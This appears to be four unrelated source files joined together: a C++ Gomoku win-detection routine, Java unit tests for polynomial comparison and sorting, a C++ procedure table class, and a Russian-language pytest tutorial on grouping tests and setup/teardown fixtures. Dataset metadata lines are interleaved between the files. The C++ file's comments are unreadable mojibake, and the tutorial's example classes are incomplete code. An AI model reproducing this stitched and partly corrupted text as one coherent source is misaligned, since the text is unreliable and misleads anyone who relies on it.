#include "StdAfx.h" #include "FiveCore.h" // ӷ'O' ʾAʤ ӷ'X' ʾBʤ ո' ' ʾûзֳʤ char CFiveCore::JudgeWin(CFiveArr &fiveArr, char cChessFlag) { int nRow, nCol, nCount, nTmp; //жϺ for(nRow=0; nRow<SIZE; ++nRow) { nCount = 0; for(nCol=0; nCol<SIZE; ++nCol) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; } } //ж for(nCol=0; nCol<SIZE; ++nCol) { nCount = 0; for(nRow=0; nRow<SIZE; ++nRow) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; } } //ж '\' ϲ Խϲ(Խ) for(nCol=0; nCol<SIZE; ++nCol) { nTmp = nCol; nCount = 0; for(nRow=0; nRow<SIZE-nTmp; ++nRow) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; ++nCol; } nCol = nTmp; } //ж '\' ² Խ²(Խ) for(nRow=1; nRow<SIZE; ++nRow) { nTmp = nRow; nCount = 0; for(nCol=0; nCol<SIZE-nTmp; ++nCol) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; ++nRow; } nRow = nTmp; } //ж '/' ϲ ̸Խϲ(Խ) for(nRow=4; nRow<SIZE; ++nRow) { nTmp = nRow; nCount = 0; for(nCol=0; nCol<=nTmp; ++nCol) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; --nRow; } nRow = nTmp; } //ж '/' ² ̸Խ²(Խ) for(nCol=1; nCol<SIZE; ++nCol) { nTmp = nCol; nCount = 0; for(nRow=SIZE-1; nRow>=nTmp; --nRow) { if(cChessFlag == fiveArr.m_cArr[nRow][nCol]) ++nCount; else nCount = 0; if(5 == nCount) return cChessFlag; ++nCol; } nCol = nTmp; } return ' '; } char CFiveCore::JudgeWin(CFiveArr &fiveArr) { char cChessFlag = JudgeWin(fiveArr, 'O'); if(cChessFlag == ' ') { cChessFlag = JudgeWin(fiveArr, 'X'); } return cChessFlag; }
Java
UTF-8
4,548
2.484375
2
[]
no_license
package code.maths.litteraladv; import code.maths.EquallableMathUtil; import code.maths.Rate; import code.maths.matrix.Polynom; import code.util.CustList; import code.util.core.NumberUtil; import org.junit.Test; public class MaComparePolynomTest extends EquallableMathUtil { @Test public void compare1() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); assertEq(1, NumberUtil.signum(MaComparePolynom.compare(one_,two_))); } @Test public void compare2() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); assertEq(-1,NumberUtil.signum(MaComparePolynom.compare(one_,two_))); } @Test public void compare3() { Polynom one_ = new Polynom(new CustList<Rate>(new Rate(2))); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); assertEq(1,NumberUtil.signum(MaComparePolynom.compare(one_,two_))); } @Test public void compare4() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(new Rate(2))); assertEq(-1,NumberUtil.signum(MaComparePolynom.compare(one_,two_))); } @Test public void compare5() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); assertEq(0,MaComparePolynom.compare(one_,two_)); } @Test public void sorted1() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_)); assertEq(2, sorted_.size()); assertTrue(two_.eq(sorted_.get(0))); assertTrue(one_.eq(sorted_.get(1))); } @Test public void sorted2() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_)); assertEq(2, sorted_.size()); assertTrue(one_.eq(sorted_.get(0))); assertTrue(two_.eq(sorted_.get(1))); } @Test public void sorted3() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom three_ = new Polynom(new CustList<Rate>(new Rate(2))); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_,three_)); assertEq(3, sorted_.size()); assertTrue(two_.eq(sorted_.get(0))); assertTrue(three_.eq(sorted_.get(1))); assertTrue(one_.eq(sorted_.get(2))); } @Test public void sorted4() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(new Rate(2))); Polynom three_ = new Polynom(new CustList<Rate>(Rate.one())); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_,three_)); assertEq(3, sorted_.size()); assertTrue(three_.eq(sorted_.get(0))); assertTrue(two_.eq(sorted_.get(1))); assertTrue(one_.eq(sorted_.get(2))); } @Test public void sorted5() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom three_ = new Polynom(new CustList<Rate>(Rate.one())); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_,three_)); assertEq(3, sorted_.size()); assertTrue(two_.eq(sorted_.get(0))); assertTrue(three_.eq(sorted_.get(1))); assertTrue(one_.eq(sorted_.get(2))); } @Test public void sorted6() { Polynom one_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom two_ = new Polynom(new CustList<Rate>(Rate.one())); Polynom three_ = new Polynom(new CustList<Rate>(Rate.one(),Rate.one())); CustList<Polynom> sorted_ = MaComparePolynom.sorted(new CustList<Polynom>(one_,two_,three_)); assertEq(3, sorted_.size()); assertTrue(one_.eq(sorted_.get(0))); assertTrue(two_.eq(sorted_.get(1))); assertTrue(three_.eq(sorted_.get(2))); } }
C++
UTF-8
807
2.828125
3
[ "MIT" ]
permissive
#include "stdafx.h" #include "ProcedureTable.h" ProcedureTable::ProcedureTable () { } Node* ProcedureTable::createProcedure(std::string procedureName) { if ( table.find(procedureName) == table.end() ) { Node* node = new Node(procedure, 0, procedureName); // magic numbers!! node->setRoot(node); table[procedureName] = node; return table[procedureName]; } return nullptr; } Node* ProcedureTable::getProcedure(std::string procedureName) { if ( table.find(procedureName) == table.end() ) { return nullptr; } return table[procedureName]; } std::vector<Node*> ProcedureTable::getAllProcedures() { std::vector<Node*> procedures; for(std::unordered_map<std::string, Node*>::iterator it = table.begin(); it != table.end(); ++it) { procedures.push_back(it->second); } return procedures; }
Python
UTF-8
5,258
3.1875
3
[]
no_license
# ГРУППИРОВКА ТЕСТОВ: SETUP # # А сейчас воспользуемся магией ООП уже для организации кода самих тест-кейсов. PyTest позволяет объединять # несколько тест-кейсов в один класс. Зачем это делать и почему удобно? # # Во-первых, мы можем логически сгруппировать тесты в один класс просто ради более стройного кода: удобно, # когда тесты, связанные с одним компонентом лежат в одном классе, а с помощью pytest.mark можно помечать сразу # весь класс. Основное правило такое: название класса должно начинаться с Test, чтобы PyTest смог его обнаружить # и запустить. # # Давайте например объединим в группу два теста в файле test_main_page.py и пометим его меткой login_guest: @pytest.mark.login_guest class TestLoginFromMainPage(): # не забываем передать первым аргументом self def test_guest_can_go_to_login_page(self, browser): # реализация теста def test_guest_should_see_login_link(self, browser): # реализация теста # Попробуйте запустить тесты в этом файле с меткой (нужно добавить "-m login_guest"). Вы увидите, что # запустились оба теста, хотя метка всего одна. # # Во-вторых, для разных тест-кейсов можно выделять общие функции, # чтобы не повторять код. Эти функции называются setup — функция, которая выполнится перед запуском каждого теста # из класса, обычно туда входит подготовка данных, и teardown — функция, которая выполняется ПОСЛЕ каждого теста # из класса, обычно там происходит удаление тех данных, которые мы создали во время теста. Хороший автотест должен # сработать даже на чистой базе данных и удалить за собой сгенерированные в тесте данные. Такие функции реализуются # с помощью фикстур, которые мы изучили в предыдущем модуле. Чтобы функция запускалась автоматически перед каждым # тест-кейсом, нужно пометить её как @pytest.fixture с параметрами scope="function", что значит запускать на каждую # функцию, и autouse=True, что значит запускать автоматически без явного вызова фикстуры. # # Мы уже немного говорили про независимость от контента в предыдущих шагах — идеальным решением было бы везде, # где мы работаем со страницей продукта, создавать новый товар в нашем интернет-магазине перед тестом и удалять # по завершении теста. К сожалению, наш интернет-магазин пока не имеет возможности создавать объекты по API, но # в идеальном мире мы бы написали вот такой тест-класс в файле test_product_page.py: @pytest.mark.login class TestLoginFromProductPage(): @pytest.fixture(scope="function", autouse=True) def setup(self): self.product = ProductFactory(title="Best book created by robot") # создаем по апи self.link = self.product.link yield # после этого ключевого слова начинается teardown # выполнится после каждого теста в классе # удаляем те данные, которые мы создали self.product.delete() def test_guest_can_go_to_login_page_from_product_page(self, browser): page = ProductPage(browser, self.link) # дальше обычная реализация теста def test_guest_should_see_login_link(self, browser): page = ProductPage(browser, self.link) # дальше обычная реализация теста # Работа с API выходит за рамки этого курса, но знание о том, что можно группировать тесты и выделять # подготовительные шаги в единые для всех тестов функции — важно для каждого автоматизатора.